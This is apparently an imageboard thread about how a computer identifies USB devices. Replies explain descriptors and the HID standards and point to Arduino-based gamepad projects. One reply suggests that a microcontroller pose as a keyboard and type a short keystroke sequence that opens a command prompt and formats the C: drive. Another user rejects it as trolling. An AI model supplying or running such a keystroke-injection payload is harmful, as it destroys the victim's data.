How does a pc know what the hardware is, and info about it, when

http://www.usb.org/developers/hidpage/

>>950907
The computer talks to the peripheral and asks it what it is. The peripheral responds and tells the computer. That's basically it.

>>950912
Wow thanks. This is really interesting.

>>950907
HID standards. If you want to play around with HID you can use an arduino and some code available here: https://code.google.com/archive/p/unojoy/wikis/GettingStarted.wiki - it's all done for you, but it's easy to open up the source and look through it for a better understanding of what it's doing.

>>950907

USB descriptors

Look at the V-USB project, there are a few USB-gamepads that use atmega microcontrollers and function as HID devices

>>951084
This. Get a USB capable microcontroller and start experimenting. Simulate a keyboard and autotype
<WINDOWS>-R
cmd<ENTER>
format c: /q /fs:ntfs<ENTER>
y<ENTER>
after the USB connection is complete.

>>951228
Please go away, we're not on /b/ or /g/